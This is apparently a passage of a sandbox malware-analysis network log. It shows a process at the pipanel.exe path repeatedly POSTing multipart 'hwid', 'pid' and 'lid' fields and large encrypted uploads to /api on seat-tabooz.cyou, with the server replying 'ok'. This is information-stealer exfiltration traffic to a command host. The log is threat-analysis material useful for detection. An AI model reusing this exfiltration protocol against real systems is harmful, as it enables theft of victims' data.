53 4b 44 67 57 41 73 67 6b 57 72 30 50 58 73 61 Data Ascii: XmWGcZGSQM7/kYEAwC2WLOv3IQO7bZDDEbvbvMgcxtyUehgnxgEHnyYOHQcCqcZm6/YlUig4FgLIJFq9D17GnIvmAGRSFFRXqsLRgMK9Xq3vMOZD67uAEc4iQv/J2YYemiaRo8PSV87qEYbTQy9S7CjydoO4K4AVDbIC+htLkY7L8QBzUhOH3anBU0OH6VdvrrN0TbQhU1Gfd9MwBNXH2Vi2UbXKA4HeJg4dBwKpxmbr9iVSKDgWAsgkWr0PXsa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49937	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N9VBPBASCUN4LT6T4P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: seat-tabooz.cyou
2024-11-24 11:12:33 UTC	15331	OUT	Data Raw: 2d 2d 4e 39 56 42 50 42 41 53 43 55 4e 34 4c 54 36 54 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 37 35 31 38 33 33 39 45 41 32 46 32 46 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4e 39 56 42 50 42 41 53 43 55 4e 34 4c 54 36 54 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 39 56 42 50 42 41 53 43 55 4e 34 4c 54 36 54 34 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 52 4f 6d 67 4f 4f 2d 2d 0d 0a 2d 2d 4e Data Ascii: --N9VBPBASCUN4LT6T4PContent-Disposition: form-data; name="hwid"327518339EA2F2FCD7CBBD6DF28D3732--N9VBPBASCUN4LT6T4PContent-Disposition: form-data; name="pid"2--N9VBPBASCUN4LT6T4PContent-Disposition: form-data; name="lid"ROmgOO----N
2024-11-24 11:12:33 UTC	2827	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-11-24 11:12:34 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3bm28f0gjejl6pumlh6b4ciqur; expires=Thu, 20-Mar-2025 04:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VZz3blwYdhwlXZGUtX8xLV4mJv6AgSGACFBcsI2PWxOhCjahbyTOHaFlfvVlfaba76x3V%2FC0Z7aXkuILZpkN53i8Ah97cU6Zhx0f%2FJWNnkULThZl3BoNRNLIpGErjd71ylHu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f6f4be5c4361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1539&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2841&recv_bytes=19120&delivery_rate=1823860&cwnd=218&unsent_bytes=0&cid=b99a70cd94e9e607&ts=976&x=0"
2024-11-24 11:12:34 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:12:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49943	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:36 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D66BD5XYE6FE15S1U9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: seat-tabooz.cyou
2024-11-24 11:12:36 UTC	8779	OUT	Data Raw: 2d 2d 44 36 36 42 44 35 58 59 45 36 46 45 31 35 53 31 55 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 37 35 31 38 33 33 39 45 41 32 46 32 46 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 44 36 36 42 44 35 58 59 45 36 46 45 31 35 53 31 55 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 36 36 42 44 35 58 59 45 36 46 45 31 35 53 31 55 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 52 4f 6d 67 4f 4f 2d 2d 0d 0a 2d 2d 44 Data Ascii: --D66BD5XYE6FE15S1U9Content-Disposition: form-data; name="hwid"327518339EA2F2FCD7CBBD6DF28D3732--D66BD5XYE6FE15S1U9Content-Disposition: form-data; name="pid"2--D66BD5XYE6FE15S1U9Content-Disposition: form-data; name="lid"ROmgOO----D
2024-11-24 11:12:36 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v91afq4vu5oorkfvodjlf64l3u; expires=Thu, 20-Mar-2025 04:59:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0c2qR17mAZ85IRbDDxQWw9wVBlr8h%2BKFgJbz7yv306Z74Y163qThwKSrW0WKswRZJJ00mEhXTo7k11k265vLlwz0B8vxeGDLSrGCAEmNBM2gn%2B98ga44%2BOq%2F6P9GxUH4godv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f7034b49726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9718&delivery_rate=1517671&cwnd=217&unsent_bytes=0&cid=e925f14facf374d5&ts=825&x=0"
2024-11-24 11:12:36 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:12:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49949	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:38 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O3FE5JO3E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20378 Host: seat-tabooz.cyou
2024-11-24 11:12:38 UTC	15331	OUT	Data Raw: 2d 2d 4f 33 46 45 35 4a 4f 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 37 35 31 38 33 33 39 45 41 32 46 32 46 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 33 46 45 35 4a 4f 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 33 46 45 35 4a 4f 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 52 4f 6d 67 4f 4f 2d 2d 0d 0a 2d 2d 4f 33 46 45 35 4a 4f 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --O3FE5JO3EContent-Disposition: form-data; name="hwid"327518339EA2F2FCD7CBBD6DF28D3732--O3FE5JO3EContent-Disposition: form-data; name="pid"3--O3FE5JO3EContent-Disposition: form-data; name="lid"ROmgOO----O3FE5JO3EContent-Dispositi
2024-11-24 11:12:38 UTC	5047	OUT	Data Raw: 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 Data Ascii: QMn 64F6(X&7~`aO@dR<x)
2024-11-24 11:12:39 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4tjuc0e0k526ftedfvtp4ugqhv; expires=Thu, 20-Mar-2025 04:59:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1hxoX88%2BN1hmCflZ7%2B5wpR9DOrSTeRg2BhrUzA1o%2ByNVZrDFCS6JEOJ0bHKo959R0hDZk2ufdtS5U9vaIT71tj3Sx2TI%2BKXh0iVo126SdflXxDY5bMrGYjfavJR7jiIgbZt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f7118a0642e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21331&delivery_rate=1670480&cwnd=237&unsent_bytes=0&cid=dbfd184a9bb78b8a&ts=911&x=0"
2024-11-24 11:12:39 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49956	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:41 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZJLGCJ447ZQYPXP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1207 Host: seat-tabooz.cyou
2024-11-24 11:12:41 UTC	1207	OUT	Data Raw: 2d 2d 5a 4a 4c 47 43 4a 34 34 37 5a 51 59 50 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 37 35 31 38 33 33 39 45 41 32 46 32 46 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 5a 4a 4c 47 43 4a 34 34 37 5a 51 59 50 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 4a 4c 47 43 4a 34 34 37 5a 51 59 50 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 52 4f 6d 67 4f 4f 2d 2d 0d 0a 2d 2d 5a 4a 4c 47 43 4a 34 34 37 5a Data Ascii: --ZJLGCJ447ZQYPXPContent-Disposition: form-data; name="hwid"327518339EA2F2FCD7CBBD6DF28D3732--ZJLGCJ447ZQYPXPContent-Disposition: form-data; name="pid"1--ZJLGCJ447ZQYPXPContent-Disposition: form-data; name="lid"ROmgOO----ZJLGCJ447Z
2024-11-24 11:12:41 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2nlqikmtjsd2uaq8bsk2529brc; expires=Thu, 20-Mar-2025 04:59:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cpSg7IIg4x6JCIJcQnUQ7oRmWSr%2BN%2FXCXNI4RuLu7UKcdb%2BGR%2BnicJQgabDO1rrqzN2uJ2EW%2B8ZULWc1pwwC%2BM8noM0v2ZBn0hnYLTNSyMztSKDjpD3k5mFQZ%2F0WKGCy6fSG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f7223b6c8c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1976&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2121&delivery_rate=1455633&cwnd=192&unsent_bytes=0&cid=56dd112d58454ef0&ts=729&x=0"
2024-11-24 11:12:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:12:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49962	172.67.178.191	443	3732	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:12:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ROW280E3GQ9EGOVW1H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584767 Host: seat-tabooz.cyou
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 2d 2d 52 4f 57 32 38 30 45 33 47 51 39 45 47 4f 56 57 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 37 35 31 38 33 33 39 45 41 32 46 32 46 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 4f 57 32 38 30 45 33 47 51 39 45 47 4f 56 57 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 4f 57 32 38 30 45 33 47 51 39 45 47 4f 56 57 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 52 4f 6d 67 4f 4f 2d 2d 0d 0a 2d 2d 52 Data Ascii: --ROW280E3GQ9EGOVW1HContent-Disposition: form-data; name="hwid"327518339EA2F2FCD7CBBD6DF28D3732--ROW280E3GQ9EGOVW1HContent-Disposition: form-data; name="pid"1--ROW280E3GQ9EGOVW1HContent-Disposition: form-data; name="lid"ROmgOO----R
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 9b af a7 6b a7 b4 fb b6 6c ec 7b d6 b0 58 78 2c 30 42 85 0f 71 93 28 3c 09 9a 2d 94 a5 46 9f 53 a4 9c 2f 63 ff c4 d8 a1 fc e6 7f 7c d5 a2 18 17 36 a4 5f 4c 3a 7e 6d d5 ac 77 57 e7 b0 2d 32 2a aa 92 b7 4d 66 b9 39 4d 74 eb 15 35 a9 c4 41 7b 9f d0 c5 2c 55 6c 44 45 fc 71 26 f0 3e 08 95 5d aa 99 29 bd c6 8f 1b 18 dc ca 2b 24 3e 86 bd d4 09 03 25 4a 95 08 fa f3 f4 46 43 6d cc d0 91 b3 93 da e1 7f 7d dc 27 6a 83 b9 dd d2 4f 70 e6 7f 5e 78 70 6a cd 7c 46 a6 ab ea 41 b6 3a 9a 3d ad 6e ca 7e ff 3e 15 a2 ef 30 15 b2 a1 af 9a 77 b0 a9 7a a2 1a 94 24 ed 09 29 bc 3b d3 d2 c5 79 26 bf 02 37 c8 df 03 6d 41 d5 d1 bd 09 a7 39 3b 66 0b 4d c2 dc 0f a5 ec c5 4d 33 86 5c dc 7c 94 bb 56 79 43 78 1b ce e7 af af d7 1c a4 9e 67 a7 cf fb c4 08 03 a0 17 41 b5 46 a5 d0 2c 8b c4 e8 Data Ascii: kl{Xx,0Bq(<-FS/c\|6_L:~mwW-2*Mf9Mt5A{,UlDEq&>])+$>%JFCm}'jOp^xpj\|FA:=n~>0wz$);y&7mA9;fMM3\\|VyCxgAF,
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: d7 d7 0b 04 81 4d a6 a9 15 1b 67 c4 b2 be 87 b8 26 01 be 8d e5 2b 9e 10 99 03 14 26 01 72 33 81 3d 50 9e b3 c3 4f 1e a8 62 1a b7 62 89 84 8d 54 10 6e 03 f9 ff db 7b 48 c2 8f 61 ec 82 7a 4d 4b 72 6f bc a2 d8 28 b0 27 35 bd 6c 84 82 e7 47 e3 38 40 f1 53 31 d8 9f 37 53 da 7d e3 c9 61 82 4a 40 7a 17 53 6e 36 5b c7 d2 b9 ce da 08 25 ea 65 f1 3c 9a 83 41 b0 9b b2 36 94 f7 42 21 9a 3e b4 05 16 3d 0e 99 5d 6c 90 14 d4 75 3b ff 5e e9 82 df be 48 21 b5 d7 a9 34 c2 77 5a 66 06 9c c0 e7 0b 41 27 2f aa fe be c3 56 12 44 32 09 83 e8 26 bb cb 79 9c 2b 62 d8 cc 56 98 5f ec f5 7a 12 c0 37 69 7d 67 b3 fb ab 80 72 4d 25 56 73 cd ab eb 69 a8 9d cb c6 c0 63 58 99 d3 6d 06 dd 3a 8d 98 df cb e3 34 da 0a 51 f7 61 4e 4a 9e 27 75 30 22 bd 78 63 08 cf 23 be f1 88 ba 42 bc 0f 1d 2a Data Ascii: Mg&+&r3=PObbTn{HazMKro('5lG8@S17S}aJ@zSn6[%e<A6B!>=]lu;^H!4wZfA'/VD2&y+bV_z7i}grM%VsicXm:4QaNJ'u0"xc#B*
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 3d e3 9a 08 f3 37 b9 24 d9 30 85 e7 7b 60 80 20 a5 42 4d a0 58 a8 59 34 b6 a1 ee 0a ca 40 15 b9 bc 3e a4 0f 19 be ee 2e 9d 38 60 18 15 be 17 1c 37 40 9c 31 2e e2 8b 0e ba 87 61 ac 8e 34 df df 30 49 34 06 2b 29 17 59 7f f4 0c fa 8f a5 0e cd 3c 0f 5f 81 72 90 c1 17 1d 88 5d 89 db d5 47 ee be 6a be 65 6d fc 88 61 d3 11 e4 01 04 21 e7 9e 73 76 05 8a bf 3b ab 96 06 6b 55 0a 38 a7 07 84 c8 be 9c a3 ec 31 14 08 cf 6e a9 95 c8 b8 fc 5f fc fe b8 73 c3 47 fa c2 97 4f de 17 2c 3a 07 b6 d8 cc 0b 9e af b9 3b 10 40 09 f0 da aa dc 83 ad ee be 60 7f 3e aa 5a 54 bb 54 00 1c 4a 20 b2 21 d7 79 69 13 b7 85 52 f9 6d 22 a5 b2 20 8f 45 f4 ab bb 13 15 2f 9c 52 e1 7b 7b 13 78 ce 97 99 10 4d 01 69 cb 30 b2 9f 1b de 4c a1 6f 44 de e1 9c 84 78 13 e0 91 4b 19 00 f9 9d 20 7e 37 f3 e5 Data Ascii: =7$0{` BMXY4@>.8`7@1.a40I4+)Y<_r]Gjema!sv;kU81n_sGO,:;@`>ZTTJ !yiRm" E/R{{xMi0LoDxK ~7
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 9b d0 8c 45 f1 e4 d7 61 31 50 52 e3 21 c8 39 90 2b 5c af 03 bc d4 ea 67 39 17 b6 52 0e 22 74 a8 36 f5 2a 60 f4 b7 7a 30 bd 40 6a 7d c5 95 27 ed ad 75 1d e6 27 9c ba ea 0f a3 a1 38 27 91 d7 de 3c a1 f0 5a d3 1a 8f 52 53 8a 8a 64 0f 08 d7 f3 e5 8a e0 14 fd 94 0e 72 73 a3 43 1c a1 57 b2 eb a4 95 cf 4b 6b 34 ac 58 52 73 ae a9 c8 6f 37 89 31 68 a8 ab ea 56 42 7d 67 e4 3d 31 8b bd 22 2e 13 7c a8 d6 4a 12 9c b8 d1 78 69 c7 5b 60 ce 71 6f 34 db 11 fa da 0f 9f ef af 9f d9 1c f9 d1 a7 27 c5 96 d7 68 a4 cd b4 ec d7 1e 8d 88 8d 49 63 f0 84 42 f1 f2 ae 5f ee 57 ae 96 a9 00 9a ab ca e0 f4 12 64 56 1d 6e 97 a3 a2 8a 9f 0f 6d 5f 59 f3 1b 6d db b0 ac 68 59 7b bd e9 16 17 59 b7 ae 76 90 27 51 45 65 a0 71 23 de e3 90 48 9a 21 17 b5 0d d8 9b e6 69 86 fe 1c 1d e5 b6 01 2d 08 Data Ascii: Ea1PR!9+\g9R"t6*`z0@j}'u'8'<ZRSdrsCWKk4XRso71hVB}g=1".\|Jxi[`qo4'hIcB_WdVnm_YmhY{Yv'QEeq#H!i-
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 38 4c 0c 2a c4 87 3b 82 d5 c5 e3 f1 4f 50 a1 1d 46 c7 63 ce 1e 3c 47 5f 2c f0 e6 66 8f c5 cf 13 eb a3 5d 3e 55 87 2a fd 56 7c d1 bf dd 76 1f d7 0d 60 79 a5 62 6d e0 c9 b6 55 78 10 71 98 69 d1 ad f2 3a 2d 47 62 53 4c 7a 3a a4 64 0b bb b5 37 65 c4 62 6f e6 0d 7c 59 83 89 cc 04 34 3f 7c 8f 11 b8 e8 2a 1f aa ef dc 5a 63 ec 89 11 39 53 85 c0 79 a9 e4 98 45 f1 d6 90 c7 a9 63 b3 c9 d5 0e 07 bc 26 fa d4 0a d3 0b 44 67 c8 48 f3 49 be ef 45 be 82 7d 31 5e ea 3a d9 bb 94 d5 31 aa 80 17 12 15 65 ae cd a7 16 62 fb fd 33 5d 6c 26 05 0e eb 34 7b fb 6e ed 13 4a 4e d8 9b a7 c3 e5 d3 4b 84 8c 3c 41 f1 a1 91 1d 20 73 e1 1c b3 81 71 e8 b2 47 ac 29 96 35 f5 b1 e0 53 65 17 e4 96 12 26 80 1c 61 47 fc 8a 7f 42 a4 11 b0 8b b9 3c 53 03 d3 40 8d 4a d8 e4 f4 4c 4e 33 0e ec 57 6b b7 Data Ascii: 8L;OPFc<G_,f]>UV\|v`ybmUxqi:-GbSLz:d7ebo\|Y4?\|*Zc9SyEc&DgHIE}1^:1eb3]l&4{nJNK<A sqG)5Se&aGB<S@JLN3Wk
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: d9 32 7b 3c 3b 8a dd 57 87 d4 ab 7b e9 2b 5a ef 10 56 56 2f eb 35 5b 99 72 34 c9 9d 7b 54 8c f7 0a 1f 3e 9c 36 86 68 0a b6 d9 67 2e 7d ba fc 6f b6 43 fe 8e d2 95 16 c3 67 fd 77 ab 8c 4b e7 ba fa ff be 72 b7 f4 5b ed 3f af ee 94 ed 2b 5d 9a d4 dd 4d e0 f6 b6 fe 5d c5 fd 33 bc 87 b0 b1 94 d6 8a 5d 7c a5 0c 7a d2 04 06 29 30 2c 22 60 52 b5 79 5d 14 a4 31 c0 62 dd f8 ef 43 20 1b 05 33 b5 33 b5 70 16 80 90 0d a1 10 08 71 b0 2e 0e e5 bc 1e 50 fb 75 1a c9 0b a5 e0 e4 96 d9 07 7b 0c 10 bc 70 51 fc f0 7e 42 d6 e6 c5 fe f4 8f 1a df 77 8a 98 a2 c3 61 f8 59 d3 e5 e5 ee ee ca 3f 0b 57 45 53 c3 d8 86 39 66 1f 62 58 de de 1b ee 2f 1e 41 a4 0c 2f fa 21 30 6b ed 2d 0c 44 04 b1 2d 92 db cd 11 79 cb eb 25 8f 9a 6f 5f 16 d5 c4 f3 52 6c ff d1 a5 87 17 3c f1 6d ff c0 ab f2 50 Data Ascii: 2{<;W{+ZVV/5[r4{T>6hg.}oCgwKr[?+]M]3]\|z)0,"`Ry]1bC 33pq.Pu{pQ~BwaY?WES9fbX/A/!0k-D-y%o_Rl<mP
